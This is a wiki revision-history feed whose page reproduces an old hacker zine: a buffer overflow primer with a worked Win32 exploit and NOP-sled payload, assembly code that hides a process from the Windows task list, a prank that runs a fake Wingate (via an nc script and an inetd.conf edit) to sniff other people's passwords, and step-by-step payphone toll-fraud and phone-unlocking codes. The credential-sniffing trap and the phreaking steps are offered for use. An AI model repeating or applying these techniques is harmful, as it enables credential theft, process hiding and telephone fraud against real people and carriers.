<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://mediawiki.zeropage.org/index.php?action=history&amp;feed=atom&amp;title=%EC%98%81%ED%98%B8%EC%9D%98%ED%95%B4%ED%82%B9%EA%B3%B5%EB%B6%80%ED%8E%98%EC%9D%B4%EC%A7%80</id>
	<title>영호의해킹공부페이지 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://mediawiki.zeropage.org/index.php?action=history&amp;feed=atom&amp;title=%EC%98%81%ED%98%B8%EC%9D%98%ED%95%B4%ED%82%B9%EA%B3%B5%EB%B6%80%ED%8E%98%EC%9D%B4%EC%A7%80"/>
	<link rel="alternate" type="text/html" href="https://mediawiki.zeropage.org/index.php?title=%EC%98%81%ED%98%B8%EC%9D%98%ED%95%B4%ED%82%B9%EA%B3%B5%EB%B6%80%ED%8E%98%EC%9D%B4%EC%A7%80&amp;action=history"/>
	<updated>2026-05-15T10:30:41Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.39.8</generator>
	<entry>
		<id>https://mediawiki.zeropage.org/index.php?title=%EC%98%81%ED%98%B8%EC%9D%98%ED%95%B4%ED%82%B9%EA%B3%B5%EB%B6%80%ED%8E%98%EC%9D%B4%EC%A7%80&amp;diff=64389&amp;oldid=prev</id>
		<title>imported&gt;Unknown at 05:30, 7 February 2021</title>
		<link rel="alternate" type="text/html" href="https://mediawiki.zeropage.org/index.php?title=%EC%98%81%ED%98%B8%EC%9D%98%ED%95%B4%ED%82%B9%EA%B3%B5%EB%B6%80%ED%8E%98%EC%9D%B4%EC%A7%80&amp;diff=64389&amp;oldid=prev"/>
		<updated>2021-02-07T05:30:25Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;     1. Access to computers-and anything which might teach you something&lt;br /&gt;
        about the way the world works-should be unlimited and total.&lt;br /&gt;
        Always yield to the Hands-On imperative!&lt;br /&gt;
     2. All information should be free.&lt;br /&gt;
     3. Mistrust Authority-Promote Decentralization.&lt;br /&gt;
     4. Hackers should be judged by their hacking, not bogus criteria such&lt;br /&gt;
        such degrees, age, race, or position.&lt;br /&gt;
     5. You can create art and beauty on a computer.&lt;br /&gt;
     6. Computers can change (your) life for the better.&lt;br /&gt;
 &lt;br /&gt;
 80년대 윤리 강령. 90년대에 새로운 것에 기반한 것이 나왔다지만 나는 80년대 것을 선호한다. 자유롭기 때문에.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 .-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.&lt;br /&gt;
                 Principles of Buffer Overflow explained by Jus&lt;br /&gt;
 .-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.&lt;br /&gt;
 &lt;br /&gt;
 This article is an attempt to quickly and simply explain everyone&amp;#039;s favourite&lt;br /&gt;
 manner of exploiting daemons - The Buffer Overflow.&lt;br /&gt;
 &lt;br /&gt;
 - Huh? -&lt;br /&gt;
 &lt;br /&gt;
 The remote buffer overflow is a very commonly found and exploited bug in badly&lt;br /&gt;
 coded daemons - by overflowing the stack one can cause the software to execute&lt;br /&gt;
 a shell equal to its current UID - thus if the daemon is run as root, like&lt;br /&gt;
 many are, a root shell will be spawned, giving full remote access.&lt;br /&gt;
 &lt;br /&gt;
 A buffer is a block of computer memory that holds many instances of the same&lt;br /&gt;
 data type - an array. Arrays can be static and dynamic, static being allocated&lt;br /&gt;
 at load time and dynamic being allocated dynamically at run time. We will be&lt;br /&gt;
 looking at dynamic buffers, or stack-based buffers, and overflowing, filling&lt;br /&gt;
 up over the top, or breaking their boundaries.&lt;br /&gt;
 &lt;br /&gt;
 A stack has the property of a queue of objects being placed one on top of the&lt;br /&gt;
 other, and the last object placed on the stack will be the first one to be&lt;br /&gt;
 removed. This is called LIFO - or last in first out. An element can be added &lt;br /&gt;
 to the stack (PUSH) and removed (POP). A stack is made up of stack frames, &lt;br /&gt;
 which are pushed when calling a function in code and popped when returning it.&lt;br /&gt;
 &lt;br /&gt;
 The stack pointer (SP) always points to the top of the stack, the bottom of it&lt;br /&gt;
 is static. PUSH and POP operations manipulate the size of the stack&lt;br /&gt;
 dynamically at run time, and its growth will either be down the memory&lt;br /&gt;
 addresses, or up them.  This means that one could address variables in the&lt;br /&gt;
 stack by giving their offsets from SP, but as POP&amp;#039;s and PUSH&amp;#039;s occur these&lt;br /&gt;
 offsets change around. Another type of pointer points to a fixed location&lt;br /&gt;
 within a frame (FP). This can be used for referencing variables because their&lt;br /&gt;
 distances from the FP will not change.&lt;br /&gt;
 &lt;br /&gt;
 - The Overflow -&lt;br /&gt;
 &lt;br /&gt;
 A buffer overflow is what happens when more data is forced into the stack than&lt;br /&gt;
 it can handle. We use this to change the flow of execution of a program -&lt;br /&gt;
 hopefully by executing code of our choice, normally just to spawn a shell.&lt;br /&gt;
 &lt;br /&gt;
 We can change the return address of a function by overwriting the entire&lt;br /&gt;
 contents of the buffer, by overfilling it and pushing data out - this then&lt;br /&gt;
 means that we can change the flow of the program. By filling the buffer up&lt;br /&gt;
 with shellcode, designed to spawn a shell on the remote machine, and&lt;br /&gt;
 overwriting the return address so that it points back into the buffer, we can&lt;br /&gt;
 make the program run the shellcode.&lt;br /&gt;
 &lt;br /&gt;
 This is just a simplified version of what actually happens during a buffer&lt;br /&gt;
 overflow - there is more to it, but the basics are essential to understand if&lt;br /&gt;
 you want to win an argument one day.&lt;br /&gt;
 &lt;br /&gt;
 -jus (jus@security.za.net)&lt;br /&gt;
 &lt;br /&gt;
 [ Epilogue by Wyzewun:&lt;br /&gt;
 &lt;br /&gt;
 Time for a practical example. I did this some time ago on my Dad&amp;#039;s Windoze box&lt;br /&gt;
 to explain it to myself: I had downloaded a file on Win32 buffer overflows but&lt;br /&gt;
 I really didn&amp;#039;t feel like reading, so I figured it out myself instead. It took&lt;br /&gt;
 me +-20 mins to do the whole thing, but at least I was keeping a log of me&lt;br /&gt;
 trying to get it right so I can just paste it more or less unchanged here -&lt;br /&gt;
 save, of course, for the explanations. Next time I&amp;#039;ll get human and actually&lt;br /&gt;
 READ UP on whatever I&amp;#039;m trying to do before I try DO it so I don&amp;#039;t waste so&lt;br /&gt;
 much damn time. :/ Anyway, here&amp;#039;s the notes...&lt;br /&gt;
 &lt;br /&gt;
 #include &amp;amp;lt;iostream.h&amp;amp;gt;&lt;br /&gt;
 #include &amp;amp;lt;string.h&amp;amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
 &lt;br /&gt;
   char buffer[40];&lt;br /&gt;
   char buffer2[20]; // This doesn&amp;#039;t need to be smaller though&lt;br /&gt;
 &lt;br /&gt;
   cout &amp;amp;lt;&amp;amp;lt; &amp;quot;Gimmee a variable\n&amp;quot;;&lt;br /&gt;
   cin &amp;amp;gt;&amp;amp;gt; buffer;&lt;br /&gt;
   strcpy(buffer2, buffer);&lt;br /&gt;
   return 666; }&lt;br /&gt;
 &lt;br /&gt;
 Because strcpy() has no bounds checking, there is an obvious buffer overflow&lt;br /&gt;
 vulnerability here...&lt;br /&gt;
 &lt;br /&gt;
 c:\&amp;amp;gt;overflow&lt;br /&gt;
 Gimmee a variable&lt;br /&gt;
 12345678901234567890&lt;br /&gt;
 &lt;br /&gt;
 It executed fine. Now lets try...&lt;br /&gt;
 &lt;br /&gt;
 c:\&amp;amp;gt;overflow&lt;br /&gt;
 Gimmee a variable&lt;br /&gt;
 123456789012345678901&lt;br /&gt;
 &lt;br /&gt;
 At this point Windoze cuts in with the following...&lt;br /&gt;
 &lt;br /&gt;
 OVERFLOW caused an invalid page fault in module OVERFLOW.EXE at 015f:00402127.&lt;br /&gt;
 &lt;br /&gt;
 Registers:&lt;br /&gt;
 EAX=0000029a CS=015f EIP=00402127 EFLGS=00000206&lt;br /&gt;
 EBX=00530000 SS=0167 ESP=0063fe0c EBP=00630031&lt;br /&gt;
 ECX=0063fdd4 DS=0167 ESI=81596754 FS=1157&lt;br /&gt;
 EDX=00400031 ES=0167 EDI=00000000 GS=0000&lt;br /&gt;
 &lt;br /&gt;
 Bytes at CS:EIP:&lt;br /&gt;
 89 45 e4 50 e8 12 15 00 00 8b 45 ec 8b 08 8b 09 &lt;br /&gt;
 &lt;br /&gt;
 Stack dump:&lt;br /&gt;
 00000000 81596754 00530000 c0000005 0063ff68 0063fe0c 0063fc3c 0063ff68&lt;br /&gt;
 00403d18 00407190 00000000 0063ff78 bff8b537 00000000 81596754 00530000 &lt;br /&gt;
 &lt;br /&gt;
 Is this a buffer overflow bug or is this something else we are mistaking for&lt;br /&gt;
 one? Well, let&amp;#039;s check, we feed it a good 30 &amp;quot;a&amp;quot; characters and we look at the&lt;br /&gt;
 values of the registers when it dies....&lt;br /&gt;
 &lt;br /&gt;
 Registers:&lt;br /&gt;
 EAX=0000029a CS=015f EIP=61616161 EFLGS=00000202&lt;br /&gt;
 EBX=00530000 SS=0167 ESP=0063fe00 EBP=61616161&lt;br /&gt;
 ECX=0063fddc DS=0167 ESI=81596628 FS=117f&lt;br /&gt;
 EDX=00006161 ES=0167 EDI=00000000 GS=0000&lt;br /&gt;
 &lt;br /&gt;
 Aaah, see that? EIP is 61616161 - 61 being the hex value of the &amp;quot;a&amp;quot; character,&lt;br /&gt;
 so it&amp;#039;s overflowing allright. Now let&amp;#039;s exploit it. :) First off, we add the&lt;br /&gt;
 following line into the example C++ proggy above...&lt;br /&gt;
 &lt;br /&gt;
 cout &amp;amp;lt;&amp;amp;lt; &amp;amp;amp;buffer2 &amp;amp;lt;&amp;amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 And when executing the program, the output we get is as follows...&lt;br /&gt;
 &lt;br /&gt;
 0x0063FDE4&lt;br /&gt;
 Gimmee a variable&lt;br /&gt;
 &lt;br /&gt;
 Right, so buffer2&amp;#039;s address is 0x0063FDE4 - and just in case that&amp;#039;s a bit off&lt;br /&gt;
 for some reason - we&amp;#039;ll pad it a bit.&lt;br /&gt;
 &lt;br /&gt;
 Padding? Right. Executing the NOP function (0x90) which most CPU&amp;#039;s have - just&lt;br /&gt;
 something to do nothing. That way, hopefully, when we overwrite the return&lt;br /&gt;
 address we can land somewhere in the middle of the NOPs, and then just execute&lt;br /&gt;
 along until we get to our shellcode. Errr, I&amp;#039;m not being clear, what I mean is&lt;br /&gt;
 the buffer will look like: [NOPNOPNOPNOP] [SHELLCODE] [NOPNOPNOPNOP] [RET]&lt;br /&gt;
 &lt;br /&gt;
 Shellcode? Right. We can execute pretty much anything we want, and as much as&lt;br /&gt;
 I would like to have interesting shellcode, I don&amp;#039;t have the tools to make&lt;br /&gt;
 some on this PC, and I *really* don&amp;#039;t feel like going online to rip somebody&lt;br /&gt;
 else&amp;#039;s. And so, my choice in shellcode - int 20h - program termination. :)&lt;br /&gt;
 &lt;br /&gt;
 Right!!! So our shellcode is 2 characters, and we can feed the program 24&lt;br /&gt;
 characters before we start overwriting the return address, so lets have 11 NOP&lt;br /&gt;
 characters on either side of our shellcode just to make it pretty and even&lt;br /&gt;
 looking. Let&amp;#039;s try this out...&lt;br /&gt;
 &lt;br /&gt;
 c:\&amp;amp;gt;overflow&lt;br /&gt;
 Gimmee a variable&lt;br /&gt;
 &amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47631; &amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47537;&amp;amp;amp;#47488;歆&lt;br /&gt;
 &lt;br /&gt;
 c:\&amp;amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 Heeey, I gave it too many characters and it didn&amp;#039;t crash. It worked. :) That&lt;br /&gt;
 string in hex would be 9090909090909090909090CD20909090909090909090909063FDE4,&lt;br /&gt;
 the CD20 in the middle being interrupt 20h, and the 63FDE4 being the address&lt;br /&gt;
 of the buffer we&amp;#039;re overflowing, which we are setting as the return address,&lt;br /&gt;
 namely 0x0063FDE4. Hopefully you&amp;#039;re beginning to see the idea here. If you&lt;br /&gt;
 would like to play around with my example file some more, I included the&lt;br /&gt;
 binary in the general-junk directory of this issue. Have fun! ]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 /// addition.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Ammendment to FK8 by Wyzewun - Released 27th December, 1999&lt;br /&gt;
 &lt;br /&gt;
 Every single file available on buffer overflow mentions that strcpy(),&lt;br /&gt;
 strcat(), sprintf(), vsprintf(), gets() and loops using getc(), fgetc() and&lt;br /&gt;
 getchar() are problematic but for some reason no-one has noticed that &amp;#039;cin &amp;amp;gt;&amp;amp;gt;&amp;#039;&lt;br /&gt;
 is also a problem. So yeh, the demonstration overflow code we featured in FK8&lt;br /&gt;
 has *two* vulnerabilities, and we were exploiting the one we didn&amp;#039;t know &lt;br /&gt;
 existed: It just happened to still work because of the padding, heh. ;-P &lt;br /&gt;
 Anyway, cin is an *extremely* commonly used function in C++ code, and it ought&lt;br /&gt;
 to be more widely known that the favoured use of it is insecure. Ditto for&lt;br /&gt;
 improper use of an ifstream. If you insist on using iostream.h (cin and&lt;br /&gt;
 ifstream) then use get() and getline() instead of the &amp;#039;&amp;amp;gt;&amp;amp;gt;&amp;#039; system.&lt;br /&gt;
 &lt;br /&gt;
 Also, some newbies may have been confused by my comment about the buffer2&lt;br /&gt;
 array which makes no sense. What I *meant* to say (but which got lost due to&lt;br /&gt;
 general braindeadness at the time of writing) is that buffer2 needn&amp;#039;t be so&lt;br /&gt;
 much smaller than buffer1: even a single byte is enough.&lt;br /&gt;
 &lt;br /&gt;
 Oh, and as a final correction - Pneuma&amp;#039;s addy is satur9@punkass.com and not&lt;br /&gt;
 the one specified in the zine. :) Right, just a small update, but a necessary&lt;br /&gt;
 one. And watch out for FK9, coming your way in February or March 2000!&lt;br /&gt;
 &lt;br /&gt;
 Cheers,&lt;br /&gt;
 Wyzewun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 .-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.&lt;br /&gt;
                   Introduction to Assembly Programming by Moe1&lt;br /&gt;
 .-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.&lt;br /&gt;
 &lt;br /&gt;
 This will cover how to write your first program in assembly using DEBUG.COM as&lt;br /&gt;
 shipped with Windows 9x and MS-DOS...&lt;br /&gt;
 &lt;br /&gt;
 C:\party2k&amp;amp;gt;debug&lt;br /&gt;
 - a100&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0100 jmp 125&lt;br /&gt;
 (Jumps to direction 125H)&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0102 [Enter]&lt;br /&gt;
 &lt;br /&gt;
 - e 102  &amp;#039;Happy Birthday FK!!!&amp;#039; 0d 0a &amp;#039;$&amp;#039;&lt;br /&gt;
   [ In function 09 of Int 21, as with most functions of int 21, the string is&lt;br /&gt;
     terminated with a &amp;quot;$&amp;quot; character. - Ed]&lt;br /&gt;
 &lt;br /&gt;
 - a125&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0125 MOV DX,0102&lt;br /&gt;
 (Copies string to DX register) [Actually the Segment:Offset address of where&lt;br /&gt;
 in memory the string is stored to DX:DS. Remember each register has a high&lt;br /&gt;
 and low order byte? - Ed]&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0128 MOV CX,000F&lt;br /&gt;
 (Amount of times the string will be displayed)&lt;br /&gt;
 &lt;br /&gt;
 0C1B:012B MOV AH,09&lt;br /&gt;
 (Copies 09 value to AH register) [09 is the function for MS-DOS to call - Ed]&lt;br /&gt;
 &lt;br /&gt;
 0C1B:012D INT 21&lt;br /&gt;
 (Displays string) [int 21h is the MS-DOS function call interrupt - Ed]&lt;br /&gt;
 &lt;br /&gt;
 0C1B:012F DEC CX&lt;br /&gt;
 (Reduces in 1 CX)&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0130 JCXZ 0134&lt;br /&gt;
 (If CX is equal to 0 jumps to 0134)&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0132 JMP 012D&lt;br /&gt;
 (Jumps to direction 012D)&lt;br /&gt;
 &lt;br /&gt;
 0C1B:0134 INT 20&lt;br /&gt;
 (Ends the program)&lt;br /&gt;
 &lt;br /&gt;
 0C74:0136 [ENTER]&lt;br /&gt;
 &lt;br /&gt;
 (Now we start compiling our lil codey, awww how kewt;)&lt;br /&gt;
 - h 0136 0100&lt;br /&gt;
 &lt;br /&gt;
 - n fkrulez.com&lt;br /&gt;
 &lt;br /&gt;
 - rcx&lt;br /&gt;
 CX 0000&lt;br /&gt;
 : 0036&lt;br /&gt;
 &lt;br /&gt;
 - w&lt;br /&gt;
 Writing 00036 bytes&lt;br /&gt;
 &lt;br /&gt;
 - q&lt;br /&gt;
 c:\party2k&amp;amp;gt;fkrulez&lt;br /&gt;
 &lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 Happy Birthday FK!!!&lt;br /&gt;
 &lt;br /&gt;
 So now as another practical example, let&amp;#039;s look at how we would hide a program&lt;br /&gt;
 from Windoze using masm32. To do this we simply pass the program&amp;#039;s process ID&lt;br /&gt;
 to the RegisterService() function thus registering the program as a service,&lt;br /&gt;
 which wont show up in the windows task list.&lt;br /&gt;
 &lt;br /&gt;
 .data               ; first we define in our data section&lt;br /&gt;
 &lt;br /&gt;
     szKernel32      db   &amp;quot;Kernel32.dll&amp;quot;,0&lt;br /&gt;
     szRSP           db   &amp;quot;RegisterServiceProcess&amp;quot;,0&lt;br /&gt;
 &lt;br /&gt;
 .code               ; now we start the code&lt;br /&gt;
 start:&lt;br /&gt;
 &lt;br /&gt;
     push   offset szKernel32&lt;br /&gt;
     call   GetModuleHandle       ; get Kernel32.dll handle&lt;br /&gt;
     push   offset szRSP&lt;br /&gt;
     push   eax&lt;br /&gt;
     call   GetProcAddress        ; get function address&lt;br /&gt;
     mov    ebx, eax              ; save our pointer into ebx&lt;br /&gt;
 &lt;br /&gt;
     call   GetCurrentProcessId   ; get current process id&lt;br /&gt;
 &lt;br /&gt;
     push   1                     ; 1 = Register Service, 0 = Unregister Serv.&lt;br /&gt;
     push   eax                   ; process id&lt;br /&gt;
     call   ebx                   ; call RegisterServiceProcess&lt;br /&gt;
 &lt;br /&gt;
 end start&lt;br /&gt;
 &lt;br /&gt;
 We could do this in any language which we can access the Win32 API from&lt;br /&gt;
 really, I just used assembly as an example because it&amp;#039;s what we&amp;#039;re playing&lt;br /&gt;
 with here. :)&lt;br /&gt;
 &lt;br /&gt;
 [ Some more additions from Wyzewun: And there you have it. If you&amp;#039;re&lt;br /&gt;
   interested in getting involved with Assembly Programming, look around at the&lt;br /&gt;
   stuff available in the programming tutorials section of Packetstorm Security&lt;br /&gt;
   and particularly the tutorial available there made by the University of&lt;br /&gt;
   Guadalajara (don&amp;#039;t ask me where that is) which is quite detailed. As you get&lt;br /&gt;
   better you will find other resources for ASM coding all over the place, so&lt;br /&gt;
   look around and you shouldn&amp;#039;t have much trouble finding what you want. :)&lt;br /&gt;
 &lt;br /&gt;
   PacketStorm also has some great resources for other programming languages&lt;br /&gt;
   like C/C++, Pascal, JavaScript, Perl, Python - you name it. :) Mm, no TCL/TK&lt;br /&gt;
   yet, but I s&amp;#039;pose you can pick that up at other places.&lt;br /&gt;
 &lt;br /&gt;
   Also, try and see if you can get hold of the SAMS MS-DOS Bible - it&amp;#039;s what&lt;br /&gt;
   I learnt what I know about assembly from and it&amp;#039;s a great reference for&lt;br /&gt;
   DOS/Windoze ASM. Mmm, I&amp;#039;m still using the Second Edition (Covers MS-DOS 3.3)&lt;br /&gt;
   but I&amp;#039;m sure there are newer versions lying around. Well, I hope. Otherwise&lt;br /&gt;
   it won&amp;#039;t be much use, now will it? :) ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 .-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.&lt;br /&gt;
                      Fun with &amp;quot;Trojan&amp;quot; Wingates by Wyzewun&lt;br /&gt;
 .-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.&lt;br /&gt;
 &lt;br /&gt;
 Allright, here&amp;#039;s a lame little idea for the purpose of abusing hacker kiddies.&lt;br /&gt;
 Scenario: It&amp;#039;s a Sunday afternoon. There is nothing to do. The sun is cooking&lt;br /&gt;
 your brain and you&amp;#039;ve hardly the energy to move, let-alone actually do&lt;br /&gt;
 something that requires an IQ above that of an oyster. What do you do?&lt;br /&gt;
 &lt;br /&gt;
 Step One&lt;br /&gt;
 +-====-+&lt;br /&gt;
 Install a Sniffer on your box. There is a nice collection of sniffers at&lt;br /&gt;
 ftp.technotronic.com/unix/network-sniffers or alternatively, if you have&lt;br /&gt;
 friends like Vortexia who are lamer warez kiddies that can leech stuff for&lt;br /&gt;
 you, have a NT/98 box as your gateway and install Sniffer Pro by Network&lt;br /&gt;
 Associates on it. It&amp;#039;s a seriously kickass proggy - Even though NAI suck. :P&lt;br /&gt;
 &lt;br /&gt;
 Step Two&lt;br /&gt;
 +-====-+&lt;br /&gt;
 Anyway, so for lack of anything better to do, lets go to www.cyberarmy.com and&lt;br /&gt;
 look at the list of Wingates. Hmmm... Bullshit, Bullshit, Bullshit - Aaah,&lt;br /&gt;
 here&amp;#039;s one that works - lets say - dns.gincorp.co.jp - Right, so now we have&lt;br /&gt;
 a Wingate. Errr... So What?&lt;br /&gt;
 &lt;br /&gt;
 Step Three&lt;br /&gt;
 +-======-+&lt;br /&gt;
 [drew@kung-fusion]$ cat &amp;amp;gt; phjeeer &amp;amp;lt;&amp;amp;lt; seckz&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 nc dns.gincorp.co.jp 23&lt;br /&gt;
 echo shj3esh j0or a fuqn tw1t&lt;br /&gt;
 seckz&lt;br /&gt;
 [drew@kung-fusion]$ chmod 755 phjeeer&lt;br /&gt;
 &lt;br /&gt;
 Step Four&lt;br /&gt;
 +-=====-+&lt;br /&gt;
 Hmmm. I&amp;#039;m still bored. I know! I think I&amp;#039;ll su and edit some random junk into&lt;br /&gt;
 my /etc/inetd.conf or something...&lt;br /&gt;
 &lt;br /&gt;
 Before Eliteness...&lt;br /&gt;
 #telnet stream tcp nowait root /usr/local/libexec/tcpd /usr/libexec/telnetd&lt;br /&gt;
 &lt;br /&gt;
 After Eliteness...&lt;br /&gt;
 telnet stream tcp nowait drew /usr/local/libexec/tcpd /home/drew/phjeeer&lt;br /&gt;
 &lt;br /&gt;
 Now we &amp;#039;killall -9 -HUP inetd&amp;#039; - loose our connection to that lame IRC&lt;br /&gt;
 session which wasn&amp;#039;t even vaguely interesting anyway, and we are now left just&lt;br /&gt;
 as bored as before.&lt;br /&gt;
 &lt;br /&gt;
 Step Five&lt;br /&gt;
 +-=====-+&lt;br /&gt;
 I&amp;#039;m bored. I think I&amp;#039;ll telnet into myself...&lt;br /&gt;
 &lt;br /&gt;
 [drew@kung-fusion]$ telnet leet.bsd.box&lt;br /&gt;
 Trying 192.168.33.3...&lt;br /&gt;
 Connected to leet.bsd.box.&lt;br /&gt;
 Escape character is &amp;#039;^]&amp;#039;.&lt;br /&gt;
 Wingate&amp;amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 A Wingate! Fuqn shit du0d! I&amp;#039;m gonna go back to www.cyberarmy.com and add&lt;br /&gt;
 myself to the Wingate list so peeble can abj00ze me too!@#$%&lt;br /&gt;
 &lt;br /&gt;
 And then...&lt;br /&gt;
 +--==--==-+&lt;br /&gt;
 Within a few hours, our sniffer logs begin to pick up all sorts of interesting&lt;br /&gt;
 things like usernames and passwords for things people shouldn&amp;#039;t be accessing,&lt;br /&gt;
 lamers making fools of themselves on IRC and all sorts of funny stuff. Aaah,&lt;br /&gt;
 at last. Entertainment at the expense of the hacker community. Who says we&lt;br /&gt;
 aren&amp;#039;t united, man? I *Love* these guys...&lt;br /&gt;
 &lt;br /&gt;
 But Remember...&lt;br /&gt;
 +--==--==--==-+&lt;br /&gt;
 This can be dangerous and if you don&amp;#039;t select the Wingate to abuse carefully&lt;br /&gt;
 you may end up getting yourself in more trouble than you bargained for. Don&amp;#039;t&lt;br /&gt;
 be stupid. :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      __... .                                                   . ...__&lt;br /&gt;
   d$$^^                                                             ^^$$b&lt;br /&gt;
 .?$;                                                                   ;$$;:;, &lt;br /&gt;
 _.                  Various Phone Warez from MercEnarY            ._ ,;:;,, _. &lt;br /&gt;
 &lt;br /&gt;
 First off, let&amp;#039;s cover phreaking the telkom tetabox fones. Note: Not the big&lt;br /&gt;
 blues ones, those small ones you find in some places [Wyzewun: He&amp;#039;s reffering&lt;br /&gt;
 to Telkom&amp;#039;s Chatterbox range. You&amp;#039;ll recognize it coz it says &amp;quot;Chatterbox&amp;quot; on&lt;br /&gt;
 it - imagine that :P]&lt;br /&gt;
 &lt;br /&gt;
 This technique was picked up by me when trying to phone ppl in Johannesburg&lt;br /&gt;
 when i was at boarding school, and lets you use telkom coin phone to phone for&lt;br /&gt;
 free (not exactly free cause the line still gets charged just not you)...&lt;br /&gt;
 &lt;br /&gt;
 1) You need access to the plugin point of the phone (some of the older phones&lt;br /&gt;
    have a point where the jack can be attached to the phone, in the newer ones&lt;br /&gt;
    the jack is already attached, therefore you need to find then point where&lt;br /&gt;
    the jack goes into the wall instead)&lt;br /&gt;
 &lt;br /&gt;
 2) Now dial &amp;#039;080&amp;#039; and wait for the fast engaged signal [Wyzewun: Number&lt;br /&gt;
    unobtainable tone]&lt;br /&gt;
 &lt;br /&gt;
 3) When you have the signal quickly take the jack out of the connection point&lt;br /&gt;
    and put it back in, check if the phone has dialing tone and 080 is still&lt;br /&gt;
    printed on the LCD screen, if there is no dialing tone you have moved the&lt;br /&gt;
    line in and out too fast, if the 080 is not printed on the screen you have&lt;br /&gt;
    moved the line too slow&lt;br /&gt;
 &lt;br /&gt;
 4) Now the phone has 080 on the screen and then you can dial the number you&lt;br /&gt;
    want. Also note that if you want to dial a local number you must enter the&lt;br /&gt;
    area code.&lt;br /&gt;
 &lt;br /&gt;
 Theory behind this: The phone is lead to believe that you are dialing a 080&lt;br /&gt;
 (toll free) number.&lt;br /&gt;
 &lt;br /&gt;
 Wondering: If you cut a fone line coming out a normal payphone and connect it&lt;br /&gt;
 to so that you have a point where you can connect and disconnect as you&lt;br /&gt;
 please, would this work? [Wyzewun: Yeh]&lt;br /&gt;
 &lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 Now for How to get mastercode for unlocking cellphones...&lt;br /&gt;
 &lt;br /&gt;
 The code is a combination of the SP code (5 digit) and phone IMEI (15 digit)&lt;br /&gt;
 use mc1.exe and mc2.exe to get the code&lt;br /&gt;
 &lt;br /&gt;
 To view the IMEI of the Cell, press: *#06#&lt;br /&gt;
 &lt;br /&gt;
 Check,Activate or Remove card restrictions&lt;br /&gt;
 &lt;br /&gt;
     #pw+XXXXXXXXXX+1# - Provider-Lock status&lt;br /&gt;
     #pw+XXXXXXXXXX+2# - Network-Lock status &lt;br /&gt;
     #pw+XXXXXXXXXX+3# - Provider(???)-Lock status &lt;br /&gt;
     #pw+XXXXXXXXXX+4# - SimCard-Lock status &lt;br /&gt;
 &lt;br /&gt;
 XXXXXXXXXX (master code) is a 10 digit code, based on the IMEI number of your&lt;br /&gt;
 phone. Press * many times for &amp;quot;p&amp;quot; and &amp;quot;w&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 Service Provider Codes&lt;br /&gt;
 &lt;br /&gt;
 MTN = 655 10&lt;br /&gt;
 Vodacom = 655 01&lt;br /&gt;
 &lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 Now let&amp;#039;s play around a bit with Net monitor on your cellphones (works wif&lt;br /&gt;
 Nokia 51xx and 61xx maybe 3210)&lt;br /&gt;
 &lt;br /&gt;
 Net Monitor is an extended menu on Nokia Phone. This will be a new additional&lt;br /&gt;
 Menu on your Nokia 5110 if you installing this option. For enabling the Net&lt;br /&gt;
 Monitor with a FBUS cable you need the DOS software PCLocals V1.3.&lt;br /&gt;
 &lt;br /&gt;
 The Network Monitor gives you the following information:&lt;br /&gt;
 &lt;br /&gt;
 Carrier number&lt;br /&gt;
 MS RX level in dBM &lt;br /&gt;
 Received signal quality &lt;br /&gt;
 MS TX power level &lt;br /&gt;
